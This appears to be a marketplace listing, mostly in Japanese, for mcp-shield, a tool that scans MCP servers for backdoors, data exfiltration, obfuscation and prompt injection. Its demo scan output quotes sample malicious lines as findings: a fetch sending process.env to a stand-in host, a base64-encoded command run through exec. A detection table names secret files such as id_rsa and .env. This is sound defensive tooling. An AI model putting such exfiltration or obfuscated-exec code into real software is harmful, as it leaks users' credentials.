Skip to main content
Glama

mcp-shield

MCPサーバー用のセキュリティスキャナー — バックドア、データ流出、プロンプトインジェクション、サプライチェーンのリスクをAIに到達する前に検出します。

MCPエコシステムは急速に成長しています。npm上のすべてのサーバーが安全とは限りません。mcp-shieldを使用すると、Claudeがファイル、キー、コンテキストを信頼する前に、ローカルまたはnpm上のあらゆるMCPサーバーを監査できます。


検出内容

カテゴリ

例

データ流出

ネットワーク経由で送信される process.env、SSHキーへのアクセス、AWS認証情報の読み取り

コード実行

eval()、new Function()、child_process.exec()、動的な require()

難読化

Base64ランタイムデコード、16進数エンコードされたペイロード、文字コード配列

機密ファイルアクセス

.env、id_rsa、ブラウザのCookie、~/.gitconfig

プロンプトインジェクション

隠し命令、ゼロ幅文字、ロールスイッチ攻撃、脱獄(ジェイルブレイク)パターン

サプライチェーン

パッケージの経過期間、ダウンロード数、メンテナー数、依存関係のCVE


Related MCP server: mcpwatch

デモ

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

ツール

ツール

機能

scan_package

npm MCPパッケージをダウンロードし、悪意のあるパターンをスキャンする

scan_directory

ローカルのMCPサーバーディレクトリ(GitHubからクローンしたものなど)をスキャンする

check_prompt_injection

ツールの説明や応答に隠れたインジェクションがないか確認する

audit_supply_chain

npmパッケージの信頼スコア、CVE、メンテナー数、経過期間を取得する


インストール

オプション 1 — npx (インストール不要)

claude mcp add mcp-shield -- npx mcp-shield

オプション 2 — グローバルインストール

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

オプション 3 — 手動設定

~/.claude/claude_mcp_config.json に追加します:

{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}

使用例

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

仕組み

静的解析 — JavaScript/TypeScriptソースファイルをスキャンし、5つのカテゴリにわたる20以上の攻撃シグネチャを網羅した正規表現パターンライブラリを使用します。

サプライチェーン監査 — npmレジストリに対してパッケージメタデータを照会し、npm auditを実行して依存関係ツリー内の既知のCVEを明らかにします。

プロンプトインジェクション検出 — ツールの説明や応答に、ゼロ幅文字、命令のオーバーライド、ロールスイッチ攻撃、その他のLLMを標的とした手法が含まれていないかチェックします。

--ignore-scripts インストール — npmパッケージをスキャンする際、--ignore-scripts を付けてインストールすることで、分析中に悪意のあるpostinstallフックが実行されないようにします。


コントリビューション

プルリクエストを歓迎します。検出パターンは src/patterns.ts にあります。新しいシグネチャの追加は1つのオブジェクトを追加するだけです。

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

ライセンス

MIT

Available Tools

4 tools
audit_supply_chainB

Audit an npm package's supply chain health: publish date, weekly downloads, maintainer count, dependency count, and known CVEs. Returns a trust score from 0-100.

Inputs: package_name (required), version.

check_prompt_injectionA

Scan text (tool descriptions, tool responses, MCP server manifest content) for prompt injection attacks, hidden instructions, zero-width characters, jailbreak patterns, and instruction overrides.

Inputs: text (required), label.

scan_directoryA

Scan a local MCP server directory for backdoors, exfiltration code, obfuscation, and dangerous patterns. Use this for MCP servers installed locally or cloned from GitHub.

Inputs: path (required).

scan_packageA

Download an npm MCP server package and scan it for backdoors, exfiltration code, obfuscation, dangerous code execution, and supply chain risks. Returns a full security report with severity ratings.

Inputs: package_name (required), version.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

Loading tool schema changelog…

    TDQS

    A4/5.0

    Scored across 4 tools

    Disambiguation5/5

    Each tool has a clearly distinct purpose with no overlap: audit_supply_chain focuses on npm package health metrics, check_prompt_injection analyzes text for injection attacks, scan_directory examines local MCP server files, and scan_package downloads and analyzes npm packages. The four tools cover different security aspects without ambiguity.

    Naming Consistency5/5

    All tool names follow a consistent verb_noun pattern using snake_case: audit_supply_chain, check_prompt_injection, scan_directory, and scan_package. The naming is predictable and readable throughout the set.

    Tool Count5/5

    With 4 tools, this server is well-scoped for its security-focused purpose. Each tool earns its place by covering distinct security domains (supply chain auditing, prompt injection detection, local scanning, and package scanning), avoiding bloat while providing comprehensive coverage.

    Completeness5/5

    The tool set provides complete coverage for MCP server security assessment: it handles both local and remote sources (directories and npm packages), includes both static analysis (scanning) and dynamic checks (prompt injection), and covers supply chain risks. No obvious gaps exist for this domain.

    Related MCP Connectors

    Related MCP Servers

    • A
      license
      Not graded
      quality
      D
      maintenance
      MCP server that audits other MCP servers. Run MCPWatch security scans from inside Claude Code or any MCP-compatible agent with 10 OWASP MCP Top 10 aligned checks and A-F letter grades.
      MIT
    • A
      license
      Not graded
      quality
      D
      maintenance
      Diagnose MCP servers — health checks, tool testing, token cost audits, conflict detection, and security scanning with 50+ prompt injection patterns. Works as CLI or MCP server inside Claude Desktop.
      1
      MIT